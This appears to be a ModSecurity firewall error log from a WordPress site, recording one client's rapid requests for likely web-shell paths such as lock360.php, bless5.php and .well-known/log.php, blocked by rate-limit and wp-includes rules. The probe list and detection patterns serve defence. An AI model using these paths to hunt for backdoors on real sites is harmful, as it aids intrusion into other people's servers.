[Fri Feb 27 21:43:12.146584 2026] [:error] [pid 54231:tid 54237] [client 20.104.124.39:29998] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaGfcOTvb5AeyJCdY7ApbQAAAEM"]
[Fri Feb 27 21:43:12.605258 2026] [:error] [pid 52073:tid 52089] [client 20.104.124.39:32443] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaGfcIa650YPyxXVeRaI2AAAAY0"]
[Fri Feb 27 21:43:13.092013 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32272] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaGfccKBhrfI6KNv9RgAAQAAABQ"]
[Fri Feb 27 21:43:13.508071 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32491] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaGfccKBhrfI6KNv9RgABwAAAA8"]
[Fri Feb 27 21:43:14.391594 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:30007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaGfcsKBhrfI6KNv9RgAEQAAAAQ"]
[Fri Feb 27 21:43:14.893607 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:32391] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaGfcsKBhrfI6KNv9RgAFwAAAAE"]
[Fri Feb 27 21:43:15.374575 2026] [:error] [pid 56075:tid 56096] [client 20.104.124.39:32410] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaGfc8KBhrfI6KNv9RgAHQAAABI"]
[Fri Feb 27 21:43:15.872270 2026] [:error] [pid 49306:tid 49321] [client 20.104.124.39:32363] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaGfc_nSUDZue59Px9s8yAAAAU0"]
[Fri Feb 27 21:43:16.352237 2026] [:error] [pid 49306:tid 49330] [client 20.104.124.39:32277] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaGfdPnSUDZue59Px9s8zAAAAVY"]
[Fri Feb 27 21:43:16.810802 2026] [:error] [pid 49306:tid 49321] [client 20.104.124.39:32401] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaGfdPnSUDZue59Px9s81AAAAU0"]
[Fri Feb 27 21:43:17.356598 2026] [:error] [pid 49306:tid 49310] [client 20.104.124.39:32198] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaGfdfnSUDZue59Px9s83QAAAUI"]
[Fri Feb 27 21:43:17.871529 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:32498] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaGfdfnSUDZue59Px9s84wAAAUc"]
[Fri Feb 27 21:43:18.584068 2026] [:error] [pid 52073:tid 52094] [client 20.104.124.39:32449] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaGfdoa650YPyxXVeRaI7wAAAZI"]
[Fri Feb 27 21:43:19.280762 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32208] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaGfd4a650YPyxXVeRaI9AAAAY4"]
[Fri Feb 27 21:43:20.078916 2026] [:error] [pid 62998:tid 63007] [client 20.104.124.39:29991] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaGfeFQeueXZDUmoLolmNAAAAQU"]
[Fri Feb 27 21:43:20.779170 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:29988] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaGfeMKBhrfI6KNv9RgAOwAAAAE"]
[Fri Feb 27 21:43:21.336288 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32276] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaGfeYa650YPyxXVeRaJAAAAAZE"]
[Fri Feb 27 21:43:22.080532 2026] [:error] [pid 52073:tid 52087] [client 20.104.124.39:32302] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaGfeoa650YPyxXVeRaJCQAAAYs"]
[Fri Feb 27 21:43:22.549496 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32396] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaGfesKBhrfI6KNv9RgATAAAABQ"]
[Fri Feb 27 21:43:23.023267 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32278] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaGfe8KBhrfI6KNv9RgATwAAAAQ"]
[Fri Feb 27 21:43:23.636808 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32404] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaGfe8KBhrfI6KNv9RgAVwAAAAs"]
[Fri Feb 27 21:43:24.222926 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32413] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaGffMKBhrfI6KNv9RgAYQAAAAw"]
[Fri Feb 27 21:43:25.178018 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32228] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaGffYa650YPyxXVeRaJIwAAAYg"]
[Fri Feb 27 21:43:25.790341 2026] [:error] [pid 49306:tid 49324] [client 20.104.124.39:32298] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaGfffnSUDZue59Px9s9IwAAAVA"]
[Fri Feb 27 21:43:26.639647 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32384] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaGffsKBhrfI6KNv9RgAeAAAAAw"]
[Fri Feb 27 21:43:27.104000 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32303] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaGff4a650YPyxXVeRaJMgAAAZM"]
[Fri Feb 27 21:43:27.602490 2026] [:error] [pid 62998:tid 63002] [client 20.104.124.39:32319] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaGff1QeueXZDUmoLolmQQAAAQE"]
[Fri Feb 27 21:43:28.254894 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32255] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaGfgOvG4MPCmE0B2sC3zwAAAMs"]
[Fri Feb 27 21:43:28.787980 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaGfgIa650YPyxXVeRaJRgAAAYM"]
[Fri Feb 27 21:43:29.291952 2026] [:error] [pid 49306:tid 49331] [client 20.104.124.39:32213] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaGfgfnSUDZue59Px9s9MAAAAVc"]
[Fri Feb 27 21:43:29.818945 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32392] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaGfgcKBhrfI6KNv9RgAlAAAABc"]
[Fri Feb 27 21:43:30.450206 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:29997] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaGfgoa650YPyxXVeRaJVgAAAYo"]
[Fri Feb 27 21:43:31.212654 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32146] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaGfg4a650YPyxXVeRaJWQAAAYg"]
[Fri Feb 27 21:43:32.607286 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32265] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaGfhMKBhrfI6KNv9RgAqQAAAAA"]
[Fri Feb 27 21:43:34.123201 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32216] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaGfhsKBhrfI6KNv9RgAvQAAAAQ"]
[Fri Feb 27 21:43:35.340632 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32418] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaGfh8KBhrfI6KNv9RgAzQAAAAQ"]
[Fri Feb 27 21:43:36.554132 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32293] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaGfiMKBhrfI6KNv9RgA4QAAAAY"]
[Fri Feb 27 21:43:37.582155 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:32478] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaGfifnSUDZue59Px9s9VgAAAUc"]
[Fri Feb 27 21:43:38.369793 2026] [:error] [pid 52073:tid 52078] [client 20.104.124.39:32439] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaGfioa650YPyxXVeRaJbwAAAYI"]
[Fri Feb 27 21:43:39.081608 2026] [:error] [pid 54103:tid 54190] [client 20.104.124.39:32321] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaGfi-vG4MPCmE0B2sC33gAAANM"]
[Fri Feb 27 21:43:39.975545 2026] [:error] [pid 54231:tid 54246] [client 20.104.124.39:32245] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaGfi-Tvb5AeyJCdY7ApegAAAEw"]
[Fri Feb 27 21:43:40.780674 2026] [:error] [pid 54231:tid 54249] [client 20.104.124.39:32210] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaGfjOTvb5AeyJCdY7ApewAAAE8"]
[Fri Feb 27 21:43:41.776110 2026] [:error] [pid 62998:tid 63001] [client 20.104.124.39:32294] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaGfjVQeueXZDUmoLolmVQAAAQA"]
[Fri Feb 27 21:43:42.269993 2026] [:error] [pid 49306:tid 49311] [client 20.104.124.39:32438] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaGfjvnSUDZue59Px9s9dwAAAUM"]
[Fri Feb 27 21:44:01.747846 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaGfoYa650YPyxXVeRaKHgAAAZc"]
[Fri Feb 27 21:44:03.601977 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32450] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaGfo8KBhrfI6KNv9RgBowAAAAk"]
[Fri Feb 27 21:44:05.094432 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32411] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaGfpcKBhrfI6KNv9RgBvAAAAAk"]
[Fri Feb 27 21:44:05.733868 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32325] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aaGfpcKBhrfI6KNv9RgBygAAAAw"]
[Fri Feb 27 21:44:06.477305 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:32297] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaGfpvnSUDZue59Px9s92gAAAUY"]
[Fri Feb 27 21:44:07.313473 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32399] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaGfp4a650YPyxXVeRaKRwAAAY4"]
[Fri Feb 27 21:44:07.997509 2026] [:error] [pid 54231:tid 54258] [client 20.104.124.39:32461] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaGfp-Tvb5AeyJCdY7ApnAAAAFg"]
[Fri Feb 27 21:44:08.644820 2026] [:error] [pid 54103:tid 54178] [client 20.104.124.39:32481] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaGfqOvG4MPCmE0B2sC3_AAAAMc"]
[Fri Feb 27 21:44:09.218305 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:32483] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaGfqfnSUDZue59Px9s97QAAAVQ"]
[Fri Feb 27 21:44:09.646419 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32494] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaGfqcKBhrfI6KNv9RgB-AAAAAg"]
[Fri Feb 27 21:44:10.958274 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:32394] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaGfqoa650YPyxXVeRaKfQAAAYA"]
[Fri Feb 27 21:44:11.944424 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32402] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaGfq8KBhrfI6KNv9RgCEAAAAAY"]
